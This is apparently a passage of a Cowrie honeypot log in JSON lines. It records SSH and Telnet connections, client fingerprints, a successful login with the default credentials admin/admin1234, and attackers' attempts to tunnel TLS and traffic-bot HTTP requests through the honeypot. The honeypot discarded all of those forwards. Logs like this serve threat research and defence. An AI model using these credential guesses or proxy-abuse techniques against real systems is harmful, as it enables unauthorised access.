\\'\\xbe}\\x7fK<\\xaeb\\xb1\\x03_EEg#\\xb7\\xaa\\x01\\xff\"2\\x8a\\xa7\\xa6\\t9\\xe4\\xee\\x02\\xa9\\xfa]\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03,\\xaf\\x90\\x946\\xca\\x96h\\x12\\x0f\\x1aL\\x01\\x0f\\xcc\\xe2p\\x94\\xb7\\xd7\\x0f\\x10\\xe0\\xb7\\x829\\x00;]\"3n \\t~\\x96\\xc9q\\xb6\\xa0\\x87>\\x04\\xad\\'L\\xb7\\xd7\\x95|\\xe5~\\xder?\\xda/\\xd3Tu2NA\\x0b\\xd3\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 \\'\\xbe}\\x7fK<\\xaeb\\xb1\\x03_EEg#\\xb7\\xaa\\x01\\xff\"2\\x8a\\xa7\\xa6\\t9\\xe4\\xee\\x02\\xa9\\xfa]\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:59.867962Z","src_ip":"173.208.188.210","session":"42c65178bae0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:59.941777Z","session":"42c65178bae0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:53:00.095448Z","src_ip":"173.208.188.210","session":"42c65178bae0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\t\\xc6\\xa2\\x9aq\\x11\\x0frA=\\xa1\\xee1\\xff\\x9e\\xdcS\\xed\\xee\\x02h\\x93\\xc6\\x92G<,2f\\xc4\\'\\xc3 \\xdc`\\x17\\\\9>\\x1a[\\x86\\xd9\\xb8\\x81\\x88\\xd6\\xc3t:\\x7f\\x05Je\\xa7\\xf0\\xb8\\xba7j\\x88\\xde\\xe2\\x96\\xbc\\x00\"\\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xff\\xf8\\xdc\\xc5\\x9e\\xcdz\\x01Iu\\x12Z\\x94\\xef\\x0cXJ\\xdc\\x13\\x9c\\x11\\x8bE\\xd2\\'\\x8e\\xef=1\\xea~b\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\t\\xc6\\xa2\\x9aq\\x11\\x0frA=\\xa1\\xee1\\xff\\x9e\\xdcS\\xed\\xee\\x02h\\x93\\xc6\\x92G<,2f\\xc4\\'\\xc3 \\xdc`\\x17\\\\9>\\x1a[\\x86\\xd9\\xb8\\x81\\x88\\xd6\\xc3t:\\x7f\\x05Je\\xa7\\xf0\\xb8\\xba7j\\x88\\xde\\xe2\\x96\\xbc\\x00\"\\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xff\\xf8\\xdc\\xc5\\x9e\\xcdz\\x01Iu\\x12Z\\x94\\xef\\x0cXJ\\xdc\\x13\\x9c\\x11\\x8bE\\xd2\\'\\x8e\\xef=1\\xea~b\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:53:00.116469Z","src_ip":"173.208.188.210","session":"42c65178bae0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":51190,"dst_ip":"10.17.0.5","dst_port":23,"session":"dfa013eff193","protocol":"telnet","message":"New connection: 94.23.66.112:51190 (10.17.0.5:23) [session: dfa013eff193]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:53:01.789843Z"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":63818,"dst_ip":"10.17.0.5","dst_port":22,"session":"db1261c2bef4","protocol":"ssh","message":"New connection: 113.164.152.20:63818 (10.17.0.5:22) [session: db1261c2bef4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:53:09.473595Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:53:09.478092Z","src_ip":"113.164.152.20","session":"db1261c2bef4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":55626,"dst_ip":"159.203.135.109","dst_port":23,"session":"75abd1a2e5a1","protocol":"telnet","message":"New connection: 128.199.8.54:55626 (159.203.135.109:23) [session: 75abd1a2e5a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:53:09.491172Z"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:53:09.761540Z","src_ip":"113.164.152.20","session":"db1261c2bef4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.95680475234985,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:53:10.854274Z","src_ip":"172.81.62.90","session":"87de062b437f","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:53:10.956663Z","src_ip":"113.164.152.20","session":"db1261c2bef4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:53:11.368485Z","session":"db1261c2bef4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:53:11.464266Z","session":"db1261c2bef4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:53:11.982670Z","src_ip":"113.164.152.20","session":"db1261c2bef4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1180\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=RjdDZjJVfkVSVmdtOVpCcg%3D%3DTrg0PJiB1yST%2FMSTW35j5aFiUt8YRemgxNg9mc95NSCraKUsL7x00ivx7Zy3xgyz9tN%2FmHfKkfK7qVnGqmUIPDu5jDaH4brdGdn3FdFZForNQcS12bNtP4Cjw16mVKG9Ko4U63o7AaRPf2FvZ2ZxA5M3pQcNnqGNhswG1OqkZAAfLsZsEDhZFhCRD4cFWXhVM2Qrp1Ul5WYRLpZdSXkPwCWSZPIHvPSci9gdZpuTVhdiHagGYPR1smBv67glR4JfYhCS1TL3hl92rcQeuvl3D%2FewTUQTOR%2BEqOaz03j9uCTsAn6C1FVjWz4EVYm79cNyfUWodte0tVk3wP%2FcIMSoeN8mzoVES%2BhyhWLpGA44PmlNoK4XBoCZPRBnnFb1NtmVtEc4E2Jipy%2BPwGcnhe9vfgF%2Fr5sU%2B5zKbIh0N9QJNqQ1EhI0hZteTsVUlZHVuUSDl2hmOxw6xRud4IdwMLt5p1V1BKpJUjeCYw1%2FuIANOen4BoJM62PcHGDObAHhldd%2B1WK5zaNbKse96bxii4P1vX8%2BKgbIIFrWhqRUicvGt8C13tEuP6cd%2BLaxQGM%2F9rSDnb69zIj4x9OHgMk0X6GA7RTHw%2FVzHu1Jmn4S3fxe8dLfscLwlqFvvmZqviVV91cakWscmLcx3zPnoOaT8T7i3ZpCQko7pw10eyhE%2Bv5VHoI1DAgctKGg0Bcxv6Q0lSRaF%2B9RqHZvy8EZ1VekXqf7R3IdK09LQS%2FWwzjXIEBZu3txxEq6Bupmv4EbmR4pPZt1cE%2Bagx9gpNDC9HbAM%2FIcLgYSfwW483N4D9chdXooo08XIAlcjsXDrUb0ABDyI6oBBmhUzi0YM6wsLpBsr5HR5DYenYgH10e%2BwTJswxd1v%2FP7Dd2W%2BauVrc8cDWkJwU4vT39cZot%2BQeIgdIzGUl08PfYIlT%2Bv7iGrWH3Lmc8aZMpxKtCF2VJ7%2B3Ah2go0tfBwtJ7R0nTZXnwmA7yX816ZhSy%2Ff0wAFa3LSDw57el5ScZXf%2Fvl28V3jKXnLeq17Yyq8Uoq5xtoPOfMoA%2BAxtYXqB4t1KOp%2ByHv6G%2FwbJOBvQGLsAs02w3Vkc5zEAIfVH7c'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1180\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=RjdDZjJVfkVSVmdtOVpCcg%3D%3DTrg0PJiB1yST%2FMSTW35j5aFiUt8YRemgxNg9mc95NSCraKUsL7x00ivx7Zy3xgyz9tN%2FmHfKkfK7qVnGqmUIPDu5jDaH4brdGdn3FdFZForNQcS12bNtP4Cjw16mVKG9Ko4U63o7AaRPf2FvZ2ZxA5M3pQcNnqGNhswG1OqkZAAfLsZsEDhZFhCRD4cFWXhVM2Qrp1Ul5WYRLpZdSXkPwCWSZPIHvPSci9gdZpuTVhdiHagGYPR1smBv67glR4JfYhCS1TL3hl92rcQeuvl3D%2FewTUQTOR%2BEqOaz03j9uCTsAn6C1FVjWz4EVYm79cNyfUWodte0tVk3wP%2FcIMSoeN8mzoVES%2BhyhWLpGA44PmlNoK4XBoCZPRBnnFb1NtmVtEc4E2Jipy%2BPwGcnhe9vfgF%2Fr5sU%2B5zKbIh0N9QJNqQ1EhI0hZteTsVUlZHVuUSDl2hmOxw6xRud4IdwMLt5p1V1BKpJUjeCYw1%2FuIANOen4BoJM62PcHGDObAHhldd%2B1WK5zaNbKse96bxii4P1vX8%2BKgbIIFrWhqRUicvGt8C13tEuP6cd%2BLaxQGM%2F9rSDnb69zIj4x9OHgMk0X6GA7RTHw%2FVzHu1Jmn4S3fxe8dLfscLwlqFvvmZqviVV91cakWscmLcx3zPnoOaT8T7i3ZpCQko7pw10eyhE%2Bv5VHoI1DAgctKGg0Bcxv6Q0lSRaF%2B9RqHZvy8EZ1VekXqf7R3IdK09LQS%2FWwzjXIEBZu3txxEq6Bupmv4EbmR4pPZt1cE%2Bagx9gpNDC9HbAM%2FIcLgYSfwW483N4D9chdXooo08XIAlcjsXDrUb0ABDyI6oBBmhUzi0YM6wsLpBsr5HR5DYenYgH10e%2BwTJswxd1v%2FP7Dd2W%2BauVrc8cDWkJwU4vT39cZot%2BQeIgdIzGUl08PfYIlT%2Bv7iGrWH3Lmc8aZMpxKtCF2VJ7%2B3Ah2go0tfBwtJ7R0nTZXnwmA7yX816ZhSy%2Ff0wAFa3LSDw57el5ScZXf%2Fvl28V3jKXnLeq17Yyq8Uoq5xtoPOfMoA%2BAxtYXqB4t1KOp%2ByHv6G%2FwbJOBvQGLsAs02w3Vkc5zEAIfVH7c'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:53:11.988409Z","src_ip":"113.164.152.20","session":"db1261c2bef4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:53:11.993478Z","src_ip":"113.164.152.20","session":"db1261c2bef4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03d[F\\xe2\\xcb\\xd7\\xd3\\x91`\\x89mY\\xb0X\\xf5\\xe6\\xd8z\\x11\\x03\\xe8\\xc3\\xb1\\x9e,\"\\xf7\\xbdT\\x7f\\xddl l]\\x05\\xa8\\x80\\xbb\\x15=\\x83\\x80;\\xba\\xc7\\xa5\\xcc\\x7f\\xab*n\\xe6\\xc9\\x88\\xd5_\\xe9J|ez3\\xe8F\\x00 \\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 -|\\xba\\xfaf\\x8a\\'8\\xda\\xab\\xb5 